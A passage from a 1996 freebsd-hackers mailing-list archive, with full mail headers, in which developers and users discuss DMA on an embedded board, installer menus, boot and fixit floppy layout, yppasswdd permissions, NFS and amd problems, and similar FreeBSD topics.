hackers@freebsd.org Resent-Date: Tue, 14 May 1996 21:17:51 -0700 Resent-Message-ID: <3072.832133871@time.cdrom.com> Resent-From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I've needed help about DMA and searched the Web and found a good article = at your site.=20 I'm working with electronics and I have a app. that is rather = time-critical (if you know what I mean). I have a fast AD that need to = be served at a high rate, i.e store the data in realtime. I belive the = only way is to do it with DMA. I've using Intels 386-EX as CPU = (embedded) that has 2 DMA-channels. The AD need to store a 16 bits = parallell data at a rate of 5 us (up to 8 Mb). =20 What operating mode do YOU suggest? Single, chained? Do you think the = CPU and the other software "feels" this DMA-transfer?=20 One more question, the DRAM-refresh. Do it need much bustime? The DRAM = need refresh every 16ms and I wounder how much bus-time the refresh = takes? (Would the DMA-transfer been destroyed or delayed so the data = could not be saved correct?) I would be grateful if anyone could answer this few questions. If you = can't, can you tell me someone that can help me with this? regards' H Nal=E9n, SWEDEN__________________________________ Haekan Nalen, Raettvik, Sweden e-mail: h.nalen@mbox300.swipnet.se From owner-freebsd-hackers Tue May 14 21:43:33 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA15969 for hackers-outgoing; Tue, 14 May 1996 21:43:33 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id VAA15958 for ; Tue, 14 May 1996 21:43:30 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id VAA03166; Tue, 14 May 1996 21:41:51 -0700 (PDT) To: "Christoph P. Kukulies" cc: freebsd-hackers@freefall.freebsd.org Subject: Re: SNAP observations In-reply-to: Your message of "Tue, 14 May 1996 21:27:26 +0200." <199605141927.VAA18336@gilberto.physik.rwth-aachen.de> Date: Tue, 14 May 1996 21:41:50 -0700 Message-ID: <3164.832135310@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > The X-User menu behaviour is strange. The user guidance through the > menu is a bit puzzling. You hit the space bar to check an entry and > 'plopp', you land in a different menu. yes, this is one of those "seemed like a good idea at the time" sorts of issues that got more complicated as I got in there. I'm going to re-work the way distributions are displayed and selected in a second pass fairly soon here. As you've noticed, the size information is very close to useless as it stands now. :-( Jordan From owner-freebsd-hackers Tue May 14 22:03:46 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id WAA18220 for hackers-outgoing; Tue, 14 May 1996 22:03:46 -0700 (PDT) Received: from nol.net (root@dazed.nol.net [206.126.32.101]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id WAA18207 for ; Tue, 14 May 1996 22:03:41 -0700 (PDT) Received: from dazed.nol.net (blh@dazed.nol.net [206.126.32.101]) by nol.net (8.7.5/8.7.3) with SMTP id AAA00959; Wed, 15 May 1996 00:03:17 -0500 (CDT) X-AUTH: NOLNET SENDMAIL AUTH Date: Wed, 15 May 1996 00:03:15 -0500 (CDT) From: "Brett L. Hawn" To: Michael Smith cc: tri@iki.fi, hackers@FreeBSD.ORG Subject: Re: svgalib for current? (and doscmd) In-Reply-To: <199605150152.LAA24984@genesis.atrad.adelaide.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 15 May 1996, Michael Smith wrote: > I KEEP ASKING FOR VOLUNTEERS FOR THIS, but nobody has picked it up. 8( > The NetBSD people have CMH, who doesn't appear to have to work for a > living, working on it. > > We need someone with a -current system and a little free time to work > with Sean to track the kernel/userland interaction problems. That's all. > I generally have far too much time on my hands and do a sup about 3-4 times a week just so I can pretend to be bleeding edge. If you need someone to help out contact me, I'm pretty crappy when it comes to C but I'm working on it and have a C god for a roomie anyway :) Brett L. Hawn From owner-freebsd-hackers Tue May 14 22:47:18 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id WAA21583 for hackers-outgoing; Tue, 14 May 1996 22:47:18 -0700 (PDT) Received: from soda.CSUA.Berkeley.EDU (soda.CSUA.Berkeley.EDU [128.32.43.52]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id WAA21576 for ; Tue, 14 May 1996 22:47:16 -0700 (PDT) Received: (from richardc@localhost) by soda.CSUA.Berkeley.EDU (8.6.12/8.6.12) id WAA22789; Tue, 14 May 1996 22:47:09 -0700 Date: Tue, 14 May 1996 22:47:08 -0700 (PDT) From: Veggy Vinny To: rich@lamprey.utmb.edu cc: hackers@freebsd.org Subject: Re: sending email using netscape? In-Reply-To: <199605142008.PAA04476@richc.isdn.bcm.tmc.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 14 May 1996, Rich Murphey wrote: > Does anyone successfully use Netscape to send email? I am using Netscape 3.0 Atlas Beta 2. > When I hit 'send' it reports 'Netscape is out of > memory. Try quitting some other applications or closing > some windows'. All the bsdi and linux versions > avilable do this for me on FreeBSD-stable. > > ktrace shows netscape successfully connecting to the > smtp server and sending/recieving everything from smtp > server correctly upto the point the the body of the > message should be sent, but it stops there. Rich Hmmm, weird because it works fine for me... What version of netscape are you using? Cheers, -Vince- richardc@CSUA.Berkeley.EDU - vince@COSC.GOV - vince@cygnus.sy.yale.edu GUS Mailing Lists Admin - http://www.COSC.GOV/~vince UC Berkeley AstroPhysics - Electrical Engineering (Honorary B.S.) Chabot Observatory & Science Center - Oakland, California USA Computing Networking Operations - Advisory Council Member Running FreeBSD - Real UN*X for Free! Linda Wong/Vivian Chow/Hacken Lee/Danny Chan/Priscilla Chan Fan Club Mailing Lists Admin 1996 Estoril Blue BMW ///M3 - BMW CCA Member Golden Gate Chapter From owner-freebsd-hackers Tue May 14 23:20:04 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id XAA25484 for hackers-outgoing; Tue, 14 May 1996 23:20:04 -0700 (PDT) Received: from seabass.progroup.com (catfish.progroup.com [206.24.122.2]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id XAA25348 for ; Tue, 14 May 1996 23:19:57 -0700 (PDT) Received: (from craig@localhost) by seabass.progroup.com (8.6.12/8.6.12) id XAA21868 for hackers@freebsd.org; Tue, 14 May 1996 23:21:30 -0700 Message-Id: <199605150621.XAA21868@seabass.progroup.com> Subject: Re: sending email using netscape? To: hackers@freebsd.org Date: Tue, 14 May 1996 23:21:30 -0700 (PDT) From: "Craig Shaver" In-Reply-To: <199605142008.PAA04476@richc.isdn.bcm.tmc.edu> from "Rich Murphey" at May 14, 96 03:08:07 pm X-Mailer: ELM [version 2.4 PL25 ME8b] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > Does anyone successfully use Netscape to send email? Yes, I use it occasionally. -- Craig Shaver (craig@progroup.com) (415)390-0654 Productivity Group POB 60458 Sunnyvale, CA 94088 From owner-freebsd-hackers Tue May 14 23:54:13 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id XAA29894 for hackers-outgoing; Tue, 14 May 1996 23:54:13 -0700 (PDT) Received: from gw.pascal.org (root@pascal.org [205.149.180.206]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id XAA29883 for ; Tue, 14 May 1996 23:54:11 -0700 (PDT) Received: from gw.pascal.org (pascal@localhost [127.0.0.1]) by gw.pascal.org (8.6.12/8.6.9) with SMTP id XAA20527 for ; Tue, 14 May 1996 23:54:08 -0700 Message-ID: <31997F6F.41C67EA6@pascal.org> Date: Tue, 14 May 1996 23:53:35 -0700 From: "Freeman P. Pascal IV" Organization: The Pascal Family X-Mailer: Mozilla 2.01 (X11; I; FreeBSD 2.1.0-RELEASE i386) MIME-Version: 1.0 To: FreeBSD Hackers mailing list Subject: Anyone running FreeBSD on a Dell Latitude laptop??? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk HI, Just curious if anyone has FreeBSD 2.1.0 or newer running on a Dell Latitude laptop with or without the port replicator??? I have the DX4/100 model and will soon upgrade to the p5/133 model. I'd really like to have 2.1 or 2.2 on the road with me when I head to Florida soon. I'm running with the advance port replicator with the SMC9000 (using the SMC91C94 chip) network port and an Adaptec SCSI port using the AIC 6360 chip. So far, I have not been able to have the SCSI or network recognized by 2.1 or 2.2 (in fact I can't find any mention of the chipset in either the 2.1 or the 2.2 LINT kernel config file). Oddly enough, both 2.1 and 2.2 did recogize my IBM PCMCIA ethernet card (ze0) :-). Worst case is that I could load via the net using the ze0 interface and never be able to use the SCSI or network ports on the replicator. This solution would limit me to about 500Mb of disk space on wd0. Naturally I'd really like to have access to my CD and SCSI disks. Even if there's experimental work going on I'd be happy to play the role of the test rat. I'd also be happy to champion the work on these interfaces to get myself and others up and running, but I'll need to get my hands on the docs for the chips and enough time to work on them. -Freeman -- +------------------------------------------------------------------------+ | For God so loved the world, that he gave his only begotten Son, that | | whosoever believeth in him should not perish, but have everlasting | | life. | | - John 3:16 (KJV) | +------------------------------------------------------------------------+ | F r e e m a n P. P a s c a l I V | | | | Phone Work: (510) 645-3454 Email Work: pascal@tfs.com | | Home: (510) 215-5742 Home: pascal@pascal.org | | Pager: (800) SKY-PAGE Home page: http://www.pascal.org | | PIN: 419-2250 Amateur Radio: KE6LSS | +------------------------------------------------------------------------+ From owner-freebsd-hackers Wed May 15 00:53:59 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id AAA08425 for hackers-outgoing; Wed, 15 May 1996 00:53:59 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id AAA08401 for ; Wed, 15 May 1996 00:53:49 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id JAA01668; Wed, 15 May 1996 09:51:18 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA00978; Wed, 15 May 1996 09:51:18 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id JAA04275; Wed, 15 May 1996 09:38:17 +0200 (MET DST) From: J Wunsch Message-Id: <199605150738.JAA04275@uriah.heep.sax.de> Subject: Re: missing programs from CRUNCH files To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Wed, 15 May 1996 09:38:17 +0200 (MET DST) Cc: julian@whistle.com (Julian Elischer) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199605150223.TAA00554@shrimp.whistle.com> from Julian Elischer at "May 14, 96 07:23:54 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Julian Elischer wrote: > ft > fdisk > sysinstall (I might justhave the wrong place for this) sysinstall shouldn't go onto the fixit disk. It's already at the generic boot floppy. > mount_msdos > grep > > grep seems to have become egrep by dint of having just > having a subdir of egrep.. Only grep needs to be there. It accepts the Posix flags -E and -F for egrep and fgrep. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed May 15 00:56:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id AAA08969 for hackers-outgoing; Wed, 15 May 1996 00:56:34 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id AAA08284 for ; Wed, 15 May 1996 00:52:40 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id JAA01660; Wed, 15 May 1996 09:51:17 +0200 Received: by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA00977; Wed, 15 May 1996 09:51:16 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id JAA04214; Wed, 15 May 1996 09:34:18 +0200 (MET DST) From: J Wunsch Message-Id: <199605150734.JAA04214@uriah.heep.sax.de> Subject: Re: errros on making floppies To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Wed, 15 May 1996 09:34:18 +0200 (MET DST) Cc: julian@ref.tfs.com (JULIAN Elischer) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199605140119.SAA04377@ref.tfs.com> from JULIAN Elischer at "May 13, 96 06:19:07 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As JULIAN Elischer wrote: > I'm working on changing the Makefiles in release/ so that each floppy > is a subdir and can be made individually, (well at least the important > ones (fixit,root)) Bravo! > 1.4MB kernel floppy > 1.4MB root floppy with massively crunched stuff. Don't call it `root'. The current root floppy is a simple cpio archive with the tools needed to install the system. Re-using this name for something else would only increase the level of confusion. Pick the existing fixit floppy. It doesn't miss very much, namely about all you need in addition to what's already there is an /sbin/init (or even /stand/init). So a two-stage boot will be as simple as putting a floppy with a kernel into the drive, load it, and swap floppies while the devices are being probed. (Paranoid people might boot with -c to get it stop before the device probing, thus having enough time to swap floppies.) > The final stage (if I ever understand all this) is: > a floppy with an MFS filesystem with our custom stuff on it That's another problem, and it's only interesting for custom-kernel installation floppies. Fixit tasks are already covered by the two- floppy scenario, and this one will also give people the ability to stuff other useful things onto the fixit floppy after it has been ``burnt'' (like their customized disktab or password master). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed May 15 01:40:08 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id BAA15051 for hackers-outgoing; Wed, 15 May 1996 01:40:08 -0700 (PDT) Received: from mail.rwth-aachen.de (mail.RWTH-Aachen.DE [137.226.144.9]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id BAA14959 for ; Wed, 15 May 1996 01:40:00 -0700 (PDT) Received: from gilberto.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de) by mail.rwth-aachen.de (PMDF V5.0-4 #13110) id <01I4QC2U9K1C000VNY@mail.rwth-aachen.de> for freebsd-hackers@freefall.FreeBSD.org; Wed, 15 May 1996 10:18:27 +0100 Received: (from kuku@localhost) by gilberto.physik.rwth-aachen.de (8.6.11/8.6.9) id KAA08297 for freebsd-hackers@freefall.cdrom.com; Wed, 15 May 1996 10:25:43 +0200 Date: Wed, 15 May 1996 10:25:43 +0200 From: "Christoph P. Kukulies" Subject: yppasswdd permissions/ownership To: freebsd-hackers@freefall.FreeBSD.org Message-id: <199605150825.KAA08297@gilberto.physik.rwth-aachen.de> Content-transfer-encoding: 7BIT Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk We want to allow our NIS users on the clients to set their yp passwords. Since /etc/master.passwd is rw------- root wheel and yppasswdd runs as bin bin it seems to me impossible to change the master password database. Shouldn't yppasswdd better be run as 4755 root bin ? Or is this a potential security hole? --Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de From owner-freebsd-hackers Wed May 15 02:50:32 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id CAA23630 for hackers-outgoing; Wed, 15 May 1996 02:50:32 -0700 (PDT) Received: from terra.Sarnoff.COM (terra.sarnoff.com [130.33.11.203]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id CAA23619; Wed, 15 May 1996 02:50:29 -0700 (PDT) Received: (from rminnich@localhost) by terra.Sarnoff.COM (8.6.12/8.6.12) id FAA06570; Wed, 15 May 1996 05:50:04 -0400 Date: Wed, 15 May 1996 05:50:03 -0400 (EDT) From: "Ron G. Minnich" X-Sender: rminnich@terra To: hackers@freebsd.org cc: dyson@freebsd.org Subject: re joe's questions on vm/mincore/etc. In-Reply-To: <199605150255.VAA11471@brasil.moneng.mei.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk something i'd like to have but have not spent time figuring out how to do is just directly mmap the ptes for a piece of your own address space. Then you don't have to take the hit that mincore requires: syscall walk ptes copyout() So if anyone out there has mmap'ed their own ptes or knows how, i'm listening. thanks ron Ron Minnich |" Microsoft Word: It does so little and it does rminnich@sarnoff.com | it so slowly" -- Maya Gokhale (609)-734-3120 | ftp://ftp.sarnoff.com/pub/mnfs/www/docs/cluster.html From owner-freebsd-hackers Wed May 15 03:17:41 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id DAA27495 for hackers-outgoing; Wed, 15 May 1996 03:17:41 -0700 (PDT) Received: from mail.barrnet.net (mail.barrnet.net [131.119.246.7]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id DAA27460 for ; Wed, 15 May 1996 03:17:20 -0700 (PDT) Received: from hda.com (ip31-max1-fitch.zipnet.net [199.232.245.31]) by mail.barrnet.net (8.7.5/MAIL-RELAY-LEN) with SMTP id DAA24324 for ; Wed, 15 May 1996 03:17:18 -0700 (PDT) Received: (from dufault@localhost) by hda.com (8.6.11/8.6.9) id GAA06937; Wed, 15 May 1996 06:21:37 -0400 From: Peter Dufault Message-Id: <199605151021.GAA06937@hda.com> Subject: Re: Hello, To: h.nalen@mbox300.swipnet.se (H Nalen) Date: Wed, 15 May 1996 06:21:36 -0400 (EDT) Cc: hackers@freebsd.org In-Reply-To: <01BB41D8.FF393060@dialup105-3-3.swipnet.se> from "H Nalen" at May 14, 96 09:04:21 pm Reply-to: hdalog@zipnet.net X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I've needed help about DMA and searched the Web and found a good article = > at your site.=20 > > I'm working with electronics and I have a app. that is rather = > time-critical (if you know what I mean). I have a fast AD that need to = > be served at a high rate, i.e store the data in realtime. I belive the = > only way is to do it with DMA. I've using Intels 386-EX as CPU = > (embedded) that has 2 DMA-channels. The AD need to store a 16 bits = > parallell data at a rate of 5 us (up to 8 Mb). > =20 > What operating mode do YOU suggest? Single, chained? Do you think the = > CPU and the other software "feels" this DMA-transfer?=20 > > One more question, the DRAM-refresh. Do it need much bustime? The DRAM = > need refresh every 16ms and I wounder how much bus-time the refresh = > takes? (Would the DMA-transfer been destroyed or delayed so the data = > could not be saved correct?) > > I would be grateful if anyone could answer this few questions. If you = > can't, can you tell me someone that can help me with this? Here are a few points. You've left out some pieces of the puzzle. 2 bytes every five microseconds is 400K/s, not a high data rate. What speed 386EX and memory are you using? What are you doing with that up to 8MB sample - do you reduce it and act on it or store it somewhere? You need to sketch out the full continuous I/O and processing load for each frame to size things and choose hardware and software. If you have a FIFO between the part and your system you can go that route and have better control over bandwidth scheduling. Are you building this or is this an off the shelf A-D board that limits what you can do? Which CPU board is it? As for FreeBSD: I don't think anyone has booted FreeBSD on a 386EX board, though I'd like to see it. You'd need at least 4MB of memory and it would probably take some hacking to get it working - I'm not too familiar with that chip but I know it has some differences in terms of number of DMA channels supported versus a real ISA board, etc. If you had a system with a floppy you could boot a standard release of DOS off of it would be interesting to try to boot one of the FreeBSD boot floppies. I'm not sure how far you'd get. For commercial support you can look at QNX in Canada (info@qnx.com I guess, and I think comp.os.qnx), and also Intel was giving away IRMX with 386EX purchases so you may have a licence for that. -- Peter Dufault Real-Time Machine Control and Simulation HD Associates, Inc. Voice: 508 433 6936 dufault@hda.com Fax: 508 433 5267 From owner-freebsd-hackers Wed May 15 03:41:30 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id DAA00418 for hackers-outgoing; Wed, 15 May 1996 03:41:30 -0700 (PDT) Received: from terra.Sarnoff.COM (terra.sarnoff.com [130.33.11.203]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id DAA00413 for ; Wed, 15 May 1996 03:41:27 -0700 (PDT) Received: (from rminnich@localhost) by terra.Sarnoff.COM (8.6.12/8.6.12) id GAA06769; Wed, 15 May 1996 06:41:03 -0400 Date: Wed, 15 May 1996 06:41:02 -0400 (EDT) From: "Ron G. Minnich" X-Sender: rminnich@terra To: hackers@freebsd.org Subject: amd behavior (freebsd 2.1R) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk OK, my cluster of 16 boxes mounts from an alpha. I use amd. I just now got around to looking at why it always takes 5-7 seconds to log in to the cluster machines. In a nutshell, it's a problem at the freebsd side. When i log in, i see a call to the nfs nullproc from freebsd to the alpha. alpha replies. Then there's delay. Then i see the call repeated (!). Then i see normal amd activity (mount the remote file system, basically). seems to me that at the freebsd end, at some point, the first reply is lost. Anyone else seeing this or something like it? it's weird. Maybe the alpha is just too fast for my poor pentiums ... :-) on a side note, it was funny to see how much faster freebsd could build NTP than a sparc-20 running solaris 2.5. ron Ron Minnich |" Microsoft Word: It does so little and it does rminnich@sarnoff.com | it so slowly" -- Maya Gokhale (609)-734-3120 | ftp://ftp.sarnoff.com/pub/mnfs/www/docs/cluster.html From owner-freebsd-hackers Wed May 15 04:45:07 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id EAA04418 for hackers-outgoing; Wed, 15 May 1996 04:45:07 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id EAA04412 for ; Wed, 15 May 1996 04:45:05 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id EAA04313; Wed, 15 May 1996 04:42:25 -0700 (PDT) To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) cc: freebsd-hackers@FreeBSD.ORG (FreeBSD hackers), julian@ref.tfs.com (JULIAN Elischer) Subject: Re: errros on making floppies In-reply-to: Your message of "Wed, 15 May 1996 09:34:18 +0200." <199605150734.JAA04214@uriah.heep.sax.de> Date: Wed, 15 May 1996 04:42:25 -0700 Message-ID: <4311.832160545@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Don't call it `root'. The current root floppy is a simple cpio > archive with the tools needed to install the system. Re-using this > name for something else would only increase the level of confusion. Actually, I was thinking about renaming that guy anyway, ever since he became essentially nothing more than a very small distribution, like bin or doc. ;-) In fact, the more I really think about it, the more I get the feeling that we can actually just make that entire floppy _go away_. :-) The fixit floppy, on the other hand, could probably stand to be improved a fair bit - made more generally useful. I also need to make that whole "fixit CDROM" idea work. :-) Jordan From owner-freebsd-hackers Wed May 15 05:54:04 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id FAA13720 for hackers-outgoing; Wed, 15 May 1996 05:54:04 -0700 (PDT) Received: from shell.monmouth.com (shell.monmouth.com [205.164.220.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id FAA13705 for ; Wed, 15 May 1996 05:54:00 -0700 (PDT) Received: (from pechter@localhost) by shell.monmouth.com (8.6.12/8.6.12) id IAA29221 for freebsd-hackers@freebsd.org; Wed, 15 May 1996 08:49:55 -0400 From: Bill/Carolyn Pechter Message-Id: <199605151249.IAA29221@shell.monmouth.com> Subject: makekey To: freebsd-hackers@freebsd.org Date: Wed, 15 May 1996 08:49:55 -0400 (EDT) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I find that I've got a makekey man page with no executable. Is there a publically available makekey for FreeBSD or do I need to invent one? Bill ------------------------------------------------------------------------------- Bill Pechter/Carolyn Pechter | 17 Meredith Drive, Tinton Falls, NJ 07724, 908-389-3592 | pechter@shell.monmouth.com I'll run Win96 on my box when you pry the keyboard from my cold, dead hands. FreeBSD, OS/2, CP/M, RT11, spoken here. From owner-freebsd-hackers Wed May 15 05:54:53 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id FAA13866 for hackers-outgoing; Wed, 15 May 1996 05:54:53 -0700 (PDT) Received: from starfire.mn.org (root@starfire.skypoint.net [199.86.32.187]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id FAA13859 for ; Wed, 15 May 1996 05:54:50 -0700 (PDT) From: john@starfire.mn.org Received: (from john@localhost) by starfire.mn.org (8.6.12/1.1) id HAA10118 for hackers@FreeBSD.org; Wed, 15 May 1996 07:59:05 -0500 Message-Id: <199605151259.HAA10118@starfire.mn.org> Subject: NFS problems between FreeBSD 2.1.0-R(CD) server and Unixware 2.03 client To: hackers@FreeBSD.org (FreeBSD hackers) Date: Wed, 15 May 1996 07:59:04 -0500 (CDT) X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk We are getting file truncation (to multiples of 1024 bytes) and strange errors (NFS write error 4, along with lots of hex info) in the log files on the client, while the server doesn't report any problems. We have rsize and wsize set to 1024. I am running Andrew Gordon's stub rpc.lockd and rpc.statd to keep things happy. Can anyone help me? This is in a production environment, and it is really a Bad Thing. Please respond directly, as I do not subscribe to this list. John Lind, Starfire Consulting Services E-mail: john@starfire.MN.ORG USnail: PO Box 17247, Mpls MN 55417 From owner-freebsd-hackers Wed May 15 06:26:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id GAA17043 for hackers-outgoing; Wed, 15 May 1996 06:26:47 -0700 (PDT) Received: from plains.nodak.edu (tinguely@plains.NoDak.edu [134.129.111.64]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id GAA17037 for ; Wed, 15 May 1996 06:26:44 -0700 (PDT) Received: (from tinguely@localhost) by plains.nodak.edu (8.7.1/8.7.1) id IAA23557; Wed, 15 May 1996 08:26:33 -0500 (CDT) Date: Wed, 15 May 1996 08:26:33 -0500 (CDT) From: Mark Tinguely Message-Id: <199605151326.IAA23557@plains.nodak.edu> To: freebsd-hackers@freefall.freebsd.org, kuku@gilberto.physik.rwth-aachen.de Subject: Re: yppasswdd permissions/ownership Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > We want to allow our NIS users on the clients to set their yp passwords. > Since /etc/master.passwd is rw------- root wheel and yppasswdd runs > as bin bin it seems to me impossible to change the master password database. > > Shouldn't yppasswdd better be run as 4755 root bin ? Or is this > a potential security hole? yppasswdd is a daemon that runs as root. ypasswdd is started from /etc/rc because your /etc/sysconfig has the line: yppasswddflags="-m /etc/master.passwd -s -f" --mark. From owner-freebsd-hackers Wed May 15 06:59:12 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id GAA19358 for hackers-outgoing; Wed, 15 May 1996 06:59:12 -0700 (PDT) Received: from brasil.moneng.mei.com (brasil.moneng.mei.com [151.186.109.160]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id GAA19353; Wed, 15 May 1996 06:59:10 -0700 (PDT) Received: (from jgreco@localhost) by brasil.moneng.mei.com (8.7.Beta.1/8.7.Beta.1) id IAA11996; Wed, 15 May 1996 08:58:38 -0500 From: Joe Greco Message-Id: <199605151358.IAA11996@brasil.moneng.mei.com> Subject: Re: re joe's questions on vm/mincore/etc. To: rminnich@Sarnoff.COM (Ron G. Minnich) Date: Wed, 15 May 1996 08:58:38 -0500 (CDT) Cc: hackers@freebsd.org, dyson@freebsd.org In-Reply-To: from "Ron G. Minnich" at May 15, 96 05:50:03 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > something i'd like to have but have not spent time figuring out how to do > is just directly mmap the ptes for a piece of your own address space. > Then you don't have to take the hit that mincore requires: > syscall > walk ptes > copyout() > > So if anyone out there has mmap'ed their own ptes or knows how, i'm > listening. Oooo we're rapidly diverging from a portable solution now! :-) ;-) (I was looking at this in part because it works under at least one other major OS, SunOS/Solaris, and I run news servers under both environments). ... JG From owner-freebsd-hackers Wed May 15 07:13:49 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id HAA20491 for hackers-outgoing; Wed, 15 May 1996 07:13:49 -0700 (PDT) Received: from terra.Sarnoff.COM (terra.sarnoff.com [130.33.11.203]) by 